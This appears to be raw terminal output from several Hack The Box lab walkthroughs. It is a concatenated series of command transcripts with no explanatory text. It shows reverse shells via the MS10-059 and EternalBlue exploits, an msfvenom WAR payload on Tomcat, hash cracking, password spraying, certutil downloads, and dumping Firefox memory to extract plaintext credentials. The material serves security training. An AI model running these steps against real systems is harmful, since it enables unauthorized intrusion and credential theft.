OS Build Type: Multiprocessor Free
Registered Owner: babis
Registered Organization:
Product ID: 55041-051-0948536-86302
Original Install Date: 17/3/2017, 4:17:31 ��
System Boot Time: 20/2/2025, 6:19:34 ��
System Manufacturer: VMware, Inc.
System Model: VMware Virtual Platform
System Type: X86-based PC
Processor(s): 1 Processor(s) Installed.
[01]: x64 Family 25 Model 1 Stepping 1 AuthenticAMD ~2595 Mhz
BIOS Version: Phoenix Technologies LTD 6.00, 12/11/2020
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume1
System Locale: el;Greek
Input Locale: en-us;English (United States)
Time Zone: (UTC+02:00) Athens, Bucharest, Istanbul
Total Physical Memory: 3.071 MB
Available Physical Memory: 2.479 MB
Virtual Memory: Max Size: 6.141 MB
Virtual Memory: Available: 5.548 MB
Virtual Memory: In Use: 593 MB
Page File Location(s): C:\pagefile.sys
Domain: HTB
Logon Server: N/A
Hotfix(s): N/A
Network Card(s): 1 NIC(s) Installed.
[01]: Intel(R) PRO/1000 MT Network Connection
Connection Name: Local Area Connection 4
DHCP Enabled: No
IP address(es)
[01]: 10.10.10.5
[02]: fe80::953e:ad94:9096:2ea3
[03]: dead:beef::45fa:b4af:3131:be53
[04]: dead:beef::953e:ad94:9096:2ea3❯ ls -l systeminfo.txt
.rw-rw-r-- kali kali 2.0 KB Thu Feb 20 23:14:04 2025 systeminfo.txt
❯ python2.7 /opt/windows-exploit-suggester/exploit -u
[*] initiating winsploit version 3.3...
[+] writing to file 2025-02-20-mssb.xls
[*] done
❯ python2.7 /opt/windows-exploit-suggester/exploit -d 2025-02-20-mssb.xls -i systeminfo.txt
[*] initiating winsploit version 3.3...
[*] database file detected as xls or xlsx based on extension
[*] attempting to read from the systeminfo input file
[+] systeminfo input file read successfully (utf-8)
[*] querying database file for potential vulnerabilities
[*] comparing the 0 hotfix(es) against the 179 potential bulletins(s) with a database of 137 known exploits
[*] there are now 179 remaining vulns
[+] [E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin
[+] windows version identified as 'Windows 7 32-bit'
[*]
[M] MS13-009: Cumulative Security Update for Internet Explorer (2792100) - Critical
[M] MS13-005: Vulnerability in Windows Kernel-Mode Driver Could Allow Elevation of Privilege (2778930) - Important
[E] MS12-037: Cumulative Security Update for Internet Explorer (2699988) - Critical
[*] http://www.exploit-db.com/exploits/35273/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5., PoC
[*] http://www.exploit-db.com/exploits/34815/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5.0 Bypass (MS12-037), PoC
[*]
[E] MS11-011: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (2393802) - Important
[M] MS10-073: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (981957) - Important
[M] MS10-061: Vulnerability in Print Spooler Service Could Allow Remote Code Execution (2347290) - Critical
[E] MS10-059: Vulnerabilities in the Tracing Feature for Services Could Allow Elevation of Privilege (982799) - Important
[E] MS10-047: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (981852) - Important
[M] MS10-015: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (977165) - Important
[M] MS10-002: Cumulative Security Update for Internet Explorer (978207) - Critical
[M] MS09-072: Cumulative Security Update for Internet Explorer (976325) - Critical
[*] done❯ ls -l MS10-059.exe
.rw-rw-r-- kali kali 766 KB Thu Feb 20 23:24:10 2025 MS10-059.exe
❯ smbserver.py smbFolder $(pwd) -smb2support
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsedC:\ProgramData>copy \\10.10.16.3\smbFolder\MS10-059.exe C:\ProgramData\MS10-059.exe
copy \\10.10.16.3\smbFolder\MS10-059.exe C:\ProgramData\MS10-059.exe
1 file(s) copied.
C:\ProgramData>dir
dir
Volume in drive C has no label.
Volume Serial Number is 137F-3971
Directory of C:\ProgramData
21/02/2025 12:24 �� 784.384 MS10-059.exe
13/12/2020 12:50 �� <DIR> VMware
3 File(s) 908.800 bytes
1 Dir(s) 4.691.062.784 bytes freeC:\ProgramData>MS10-059.exe
MS10-059.exe
/Chimichurri/-->This exploit gives you a Local System shell <BR>/Chimichurri/-->Usage: Chimichurri.exe ipaddress port <BR>❯ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...C:\ProgramData>MS10-059.exe 10.10.16.3 443
MS10-059.exe 10.10.16.3 443
/Chimichurri/-->This exploit gives you a Local System shell <BR>/Chimichurri/-->Changing registry values...<BR>/Chimichurri/-->Got SYSTEM token...<BR>/Chimichurri/-->Running reverse shell...<BR>/Chimichurri/-->Restoring default registry values...<BR>❯ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.10.5] 49175
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\ProgramData>whoami
whoami
nt authority\system
C:\ProgramData>type C:\Users\babis\Desktop\user.txt
type C:\Users\babis\Desktop\user.txt
0a94ba0*************************
C:\ProgramData>type C:\Users\Administrator\Desktop\root.txt
type C:\Users\Administrator\Desktop\root.txt
2a3a25e*************************❯ nmap -p- --open -sS --min-rate 1000 -Pn -n 10.10.10.40 -oG allPorts
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-24 16:59 CET
Nmap scan report for 10.10.10.40
Host is up (0.076s latency).
Not shown: 64302 closed tcp ports (reset), 1224 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
49157/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 25.76 seconds❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.10.40
[*] Open ports: 135,139,445,49152,49153,49154,49155,49156,49157
[*] Ports copied to clipboard❯ nmap -sCV -p135,139,445,49152,49153,49154,49155,49156,49157 10.10.10.40 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-24 17:03 CET
Nmap scan report for 10.10.10.40
Host is up (0.11s latency).
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows 7 SP1 or Windows Server 2008 R2 or Windows 8.1 (98%), Microsoft Windows 7 or Windows Server 2008 R2 or Windows 8.1 (97%), Microsoft Windows Server 2012 R2 (96%), Microsoft Windows 7 SP1 (95%), Microsoft Windows 7 SP1 or Windows Server 2008 SP2 (95%), Microsoft Windows Windows 7 SP1 (95%), Microsoft Windows Vista Home Premium SP1, Windows 7, or Windows Server 2008 (95%), Microsoft Windows Vista SP1 (94%), Microsoft Windows Vista SP2 or Windows 7 or Windows Server 2008 R2 or Windows 8.1 (94%), Microsoft Windows 7 or Windows Server 2008 R2 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-os-discovery:
| OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
| Computer name: haris-PC
| NetBIOS computer name: HARIS-PC\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2025-01-24T16:04:40+00:00
|_clock-skew: mean: 6s, deviation: 1s, median: 5s
| smb2-time:
| date: 2025-01-24T16:04:39
|_ start_date: 2025-01-24T15:56:41
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2:1:0:
|_ Message signing enabled but not required
TRACEROUTE (using port 445/tcp)
HOP RTT ADDRESS
1 152.17 ms 10.10.16.1
2 54.54 ms 10.10.10.40
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 77.20 seconds❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse 10.10.10.40
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-24 17:20 CET
NSE: Loaded 7 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 1) scan.
Initiating NSE at 17:20
Completed NSE at 17:20, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 17:20
Completed Parallel DNS resolution of 1 host. at 17:20, 0.03s elapsed
Initiating SYN Stealth Scan at 17:20
Scanning 10.10.10.40 [2 ports]
Discovered open port 445/tcp on 10.10.10.40
Discovered open port 139/tcp on 10.10.10.40
Completed SYN Stealth Scan at 17:20, 0.29s elapsed (2 total ports)
NSE: Script scanning 10.10.10.40.
NSE: Starting runlevel 1 (of 1) scan.
Initiating NSE at 17:20
Completed NSE at 17:20, 7.58s elapsed
Nmap scan report for 10.10.10.40
Host is up, received user-set (0.19s latency).
Scanned at 2025-01-24 17:20:37 CET for 8s
PORT STATE SERVICE REASON
139/tcp open netbios-ssn syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
Host script results:
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_ https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND
|_smb-vuln-ms10-054: false
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 1) scan.
Initiating NSE at 17:20
Completed NSE at 17:20, 0.00s elapsed
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 8.08 seconds
Raw packets sent: 2 (88B) | Rcvd: 2 (88B)❯ nxc smb 10.10.10.40
SMB 10.10.10.40 445 HARIS-PC [*] Windows 7 Professional 7601 Service Pack 1 x64 (name:HARIS-PC) (domain:haris-PC) (signing:False) (SMBv1:True)❯ git clone https://github.com/d4t4s3c/Win7Blue; cd Win7Blue
Clonando en 'Win7Blue'...
remote: Enumerating objects: 497, done.
remote: Counting objects: 100% (154/154), done.
remote: Compressing objects: 100% (111/111), done.
remote: Total 497 (delta 88), reused 81 (delta 43), pack-reused 343 (from 1)
Recibiendo objetos: 100% (497/497), 2.32 MiB | 2.03 MiB/s, listo.
Resolviendo deltas: 100% (279/279), listo.
❯ chmod +x Win7Blue
❯ ./Win7Blue
┌═══════════════════════════════════┐
║ ██╗ ██╗██╗███╗ ██╗███████╗ ║
║ ██║ ██║██║████╗ ██║╚════██║ ║
║ ██║ █╗ ██║██║██╔██╗ ██║ ██╔╝ ║
║ ██║███╗██║██║██║╚██╗██║ ██╔╝ ║
║ ╚███╔███╔╝██║██║ ╚████║ ██║ ║
║ ╚══╝╚══╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ║
║ ██████╗ ██╗ ██╗ ██╗███████╗ ║
║ ██╔══██╗██║ ██║ ██║██╔════╝ ║
║ ██████╔╝██║ ██║ ██║█████╗ ║
║ ██╔══██╗██║ ██║ ██║██╔══╝ ║
║ ██████╔╝███████╗╚██████╔╝███████╗ ║
║ ╚═════╝ ╚══════╝ ╚═════╝ ╚══════╝ ║
║ [+] EternalBlue -- MS17-010 [+] ║
└═══════════════════════════════════┘
[1] Scanner Vuln [Nmap]
[2] Scanner Arch [NetExec]
[3] Exploit Win7 [32 bits]
[4] Exploit Win7 [64 bits]
[5] Exit
$ 4
¿RHOST? 10.10.10.40
¿LHOST? 10.10.16.5
¿LPORT? 443
[i] Creating SHELLCODE with MSFVENOM...
[i] Please start NETCAT listener: nc -lvnp 443
press ENTER to continue...❯ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...┌═══════════════════════════════════┐
║ ██╗ ██╗██╗███╗ ██╗███████╗ ║
║ ██║ ██║██║████╗ ██║╚════██║ ║
║ ██║ █╗ ██║██║██╔██╗ ██║ ██╔╝ ║
║ ██║███╗██║██║██║╚██╗██║ ██╔╝ ║
║ ╚███╔███╔╝██║██║ ╚████║ ██║ ║
║ ╚══╝╚══╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ║
║ ██████╗ ██╗ ██╗ ██╗███████╗ ║
║ ██╔══██╗██║ ██║ ██║██╔════╝ ║
║ ██████╔╝██║ ██║ ██║█████╗ ║
║ ██╔══██╗██║ ██║ ██║██╔══╝ ║
║ ██████╔╝███████╗╚██████╔╝███████╗ ║
║ ╚═════╝ ╚══════╝ ╚═════╝ ╚══════╝ ║
║ [+] EternalBlue -- MS17-010 [+] ║
└═══════════════════════════════════┘
[1] Scanner Vuln [Nmap]
[2] Scanner Arch [NetExec]
[3] Exploit Win7 [32 bits]
[4] Exploit Win7 [64 bits]
[5] Exit
$ 4
¿RHOST? 10.10.10.40
¿LHOST? 10.10.16.5
¿LPORT? 443
[i] Creating SHELLCODE with MSFVENOM...
[i] Please start NETCAT listener: nc -lvnp 443
press ENTER to continue...
[+] Launching Exploit
shellcode size: 1232
numGroomConn: 13
Target OS: Windows 7 Professional 7601 Service Pack 1
SMB1 session setup allocate nonpaged pool success
SMB1 session setup allocate nonpaged pool success
good response status: INVALID_PARAMETER
done❯ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.40] 49158
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
...[snip]...
C:\Users\haris\Desktop>type user.txt
type user.txt
1b17027ecc**********************
C:\Users\haris\Desktop>type C:\Users\Administrator\Desktop\root.txt
type C:\Users\Administrator\Desktop\root.txt
c65daeb786**********************❯ nmap -p- --open -sS --min-rate 1000 -Pn -n 10.10.10.95 -oG allPorts
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-24 19:03 CET
Nmap scan report for 10.10.10.95
Host is up (0.060s latency).
Not shown: 65534 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
8080/tcp open http-proxy
Nmap done: 1 IP address (1 host up) scanned in 122.56 seconds❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.10.95
[*] Open ports: 8080
[*] Ports copied to clipboard❯ nmap -sCV -p8080 10.10.10.95 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-24 19:07 CET
Nmap scan report for 10.10.10.95
Host is up (0.081s latency).
PORT STATE SERVICE VERSION
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/7.0.88
|_http-open-proxy: Proxy might be redirecting requests
|_http-favicon: Apache Tomcat
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2012|2008|7 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_7
Aggressive OS guesses: Microsoft Windows Server 2012 R2 (97%), Microsoft Windows 7 or Windows Server 2008 R2 (91%), Microsoft Windows Server 2012 or Windows Server 2012 R2 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
TRACEROUTE (using port 8080/tcp)
HOP RTT ADDRESS
1 108.22 ms 10.10.16.1
2 108.59 ms 10.10.10.95
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.82 seconds❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ msfvenom -p java/shell_reverse_tcp lhost=10.10.16.5 lport=443 -f war -o pwn.war
Payload size: 13030 bytes
Final size of war file: 13030 bytes
Saved as: pwn.war❯ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...❯ curl -s X GET 'http://10.10.10.95:8080/pwn'❯ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.95] 49192
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\apache-tomcat-7.0.88>whoami
whoami
nt authority\system
C:\apache-tomcat-7.0.88> cd C:\Users\Administrator\Desktop
C:\Users\Administrator\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 0834-6C04
Directory of C:\Users\Administrator\Desktop
06/19/2018 06:09 AM <DIR> .
06/19/2018 06:09 AM <DIR> ..
06/19/2018 06:09 AM <DIR> flags
0 File(s) 0 bytes
3 Dir(s) 2,419,822,592 bytes free
C:\Users\Administrator\Desktop>cd flags
cd flags
C:\Users\Administrator\Desktop\flags>dir
dir
Volume in drive C has no label.
Volume Serial Number is 0834-6C04
Directory of C:\Users\Administrator\Desktop\flags
06/19/2018 06:09 AM <DIR> .
06/19/2018 06:09 AM <DIR> ..
06/19/2018 06:11 AM 88 2 for the price of 1.txt
1 File(s) 88 bytes
2 Dir(s) 2,419,822,592 bytes free
C:\Users\Administrator\Desktop\flags>type "2 for the price of 1.txt"
type "2 for the price of 1.txt"
user.txt
7004dbcef0f8********************
root.txt
04a8b36e1545********************❯ nmap -p- --open -sS --min-rate 1000 -Pn -n 10.10.10.149 -oG allPorts
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-24 17:32 CET
Nmap scan report for 10.10.10.149
Host is up (0.061s latency).
Not shown: 65530 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
445/tcp open microsoft-ds
5985/tcp open wsman
49669/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 114.77 seconds❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.10.149
[*] Open ports: 80,135,445,5985,49669
[*] Ports copied to clipboard❯ nmap -sCV -p80,135,445,5985,49669 10.10.10.149 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-24 17:48 CET
Nmap scan report for 10.10.10.149
Host is up (0.17s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-title: Support Login Page
|_Requested resource was login.php
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds?
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49669/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019|10 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10
Aggressive OS guesses: Windows Server 2019 (97%), Microsoft Windows 10 1903 - 21H1 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 3s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2025-01-24T16:49:16
|_ start_date: N/A
TRACEROUTE (using port 135/tcp)
HOP RTT ADDRESS
1 93.28 ms 10.10.16.1
2 93.65 ms 10.10.10.149
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 105.57 seconds❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ hashid '$1$pdQG$o8nrSzsGXeaduXrjlvKc91'
Analyzing '$1$pdQG$o8nrSzsGXeaduXrjlvKc91'
[+] MD5 Crypt
[+] Cisco-IOS(MD5)
[+] FreeBSD MD5
❯ hashcat -a 0 hashes /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting in autodetect mode
...[snip]...
$1$pdQG$o8nrSzsGXeaduXrjlvKc91:stealth1agent❯ cat users.txt
rout3r
admin
hazard
❯ cat passwords.txt
stealth1agent
Q4)sJu\Y8qz*A3?d
$uperP@ssword❯ nxc smb 10.10.10.149 -u users.txt -p passwords.txt --continue-on-success
SMB 10.10.10.149 445 SUPPORTDESK [*] Windows 10 / Server 2019 Build 17763 x64 (name:SUPPORTDESK) (domain:SupportDesk) (signing:False) (SMBv1:False)
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\rout3r:stealth1agent STATUS_LOGON_FAILURE
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\admin:stealth1agent STATUS_LOGON_FAILURE
SMB 10.10.10.149 445 SUPPORTDESK [+] SupportDesk\hazard:stealth1agent
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\rout3r:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\rout3r:$uperP@ssword STATUS_LOGON_FAILURE
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\admin:$uperP@ssword STATUS_LOGON_FAILURE ❯ nxc smb 10.10.10.149 -u 'hazard' -p 'stealth1agent' --rid-brute | grep SidTypeUser
SMB 10.10.10.149 445 SUPPORTDESK 500: SUPPORTDESK\Administrator (SidTypeUser)
SMB 10.10.10.149 445 SUPPORTDESK 501: SUPPORTDESK\Guest (SidTypeUser)
SMB 10.10.10.149 445 SUPPORTDESK 503: SUPPORTDESK\DefaultAccount (SidTypeUser)
SMB 10.10.10.149 445 SUPPORTDESK 504: SUPPORTDESK\WDAGUtilityAccount (SidTypeUser)
SMB 10.10.10.149 445 SUPPORTDESK 1008: SUPPORTDESK\Hazard (SidTypeUser)
SMB 10.10.10.149 445 SUPPORTDESK 1009: SUPPORTDESK\support (SidTypeUser)
SMB 10.10.10.149 445 SUPPORTDESK 1012: SUPPORTDESK\Chase (SidTypeUser)
SMB 10.10.10.149 445 SUPPORTDESK 1013: SUPPORTDESK\Jason (SidTypeUser)❯ nxc smb 10.10.10.149 -u users.txt -p passwords.txt --continue-on-success
SMB 10.10.10.149 445 SUPPORTDESK [*] Windows 10 / Server 2019 Build 17763 x64 (name:SUPPORTDESK) (domain:SupportDesk) (signing:False) (SMBv1:False)
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\admin:stealth1agent STATUS_LOGON_FAILURE
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\administrator:stealth1agent STATUS_LOGON_FAILURE
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\chase:stealth1agent STATUS_LOGON_FAILURE
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\defaultaccount:stealth1agent STATUS_LOGON_FAILURE
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\guest:stealth1agent STATUS_LOGON_FAILURE
SMB 10.10.10.149 445 SUPPORTDESK [+] SupportDesk\hazard:stealth1agent
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\jason:stealth1agent STATUS_LOGON_FAILURE
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\support:stealth1agent STATUS_LOGON_FAILURE
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\wdagutilityaccount:stealth1agent STATUS_LOGON_FAILURE
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\admin:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\administrator:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE
SMB 10.10.10.149 445 SUPPORTDESK [+] SupportDesk\chase:Q4)sJu\Y8qz*A3?d
...[snip]...❯ nxc winrm 10.10.10.149 -u 'chase' -p 'Q4)sJu\Y8qz*A3?d'
WINRM 10.10.10.149 5985 SUPPORTDESK [*] Windows 10 / Server 2019 Build 17763 (name:SUPPORTDESK) (domain:SupportDesk)
WINRM 10.10.10.149 5985 SUPPORTDESK [+] SupportDesk\chase:Q4)sJu\Y8qz*A3?d (Pwn3d!)
❯ evil-winrm -i 10.10.10.149 -u 'chase' -p 'Q4)sJu\Y8qz*A3?d'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Chase\Documents> type ../Desktop/user.txt
a06465920be**********************Evil-WinRM* PS C:\Users\Chase\Documents> ps
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
465 18 2260 5440 368 0 csrss
290 13 2340 5224 484 1 csrss
357 15 3508 14560 3004 1 ctfmon
252 14 3920 13212 3852 0 dllhost
166 9 1876 9824 0.08 4320 1 dllhost
617 32 30136 57808 964 1 dwm
1494 58 24076 78476 5196 1 explorer
378 28 21912 58856 0.38 1372 1 firefox
355 25 16400 39096 0.11 5412 1 firefox
1075 69 139428 217192 5.83 6716 1 firefox
347 19 10256 36936 0.08 6936 1 firefox
401 33 31076 88420 0.91 7128 1 firefox❯ ls -l
.rw-rw-r-- kali kali 714 KB Fri Jan 24 18:37:44 2025 Procdump.zip
❯ unzip Procdump.zip
Archive: Procdump.zip
inflating: procdump.exe
inflating: procdump64.exe
inflating: procdump64a.exe
inflating: Eula.txt
❯ ls -l
.rw-rw-r-- kali kali 7.3 KB Thu Nov 3 15:55:00 2022 Eula.txt
.rw-rw-r-- kali kali 773 KB Thu Nov 3 15:55:14 2022 procdump.exe
.rw-rw-r-- kali kali 714 KB Fri Jan 24 18:37:44 2025 Procdump.zip
.rw-rw-r-- kali kali 415 KB Thu Nov 3 15:55:14 2022 procdump64.exe
.rw-rw-r-- kali kali 398 KB Thu Nov 3 15:55:14 2022 procdump64a.exe
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...*Evil-WinRM* PS C:\Test> certutil.exe -f -urlcache -split http://10.10.16.5/procdump64.exe
**** Online ****
000000 ...
067b98
CertUtil: -URLCache command completed successfully.
*Evil-WinRM* PS C:\Test> dir
Directory: C:\Test
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 1/24/2025 11:10 PM 424856 procdump64.exe*Evil-WinRM* PS C:\Test> .\procdump64.exe -ma 6716 -accepteula
ProcDump v11.0 - Sysinternals process dump utility
Copyright (C) 2009-2022 Mark Russinovich and Andrew Richards
Sysinternals - www.sysinternals.com
[23:14:18] Dump 1 initiated: C:\Test\firefox.exe_250124_231418.dmp
[23:14:19] Dump 1 writing: Estimated dump file size is 498 MB.
[23:14:20] Dump 1 complete: 498 MB written in 1.1 seconds
[23:14:20] Dump count reached.
*Evil-WinRM* PS C:\Test> download firefox.exe_250124_231418.dmp❯ strings firefox.exe_250124_231418.dmp | grep -iE "login_username|login_password"
"C:\Program Files\Mozilla Firefox\firefox.exe" localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
http://localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
http://localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
http://localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
:http://localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
:http://localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
O^privateBrowsingId=1,p,:http://localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
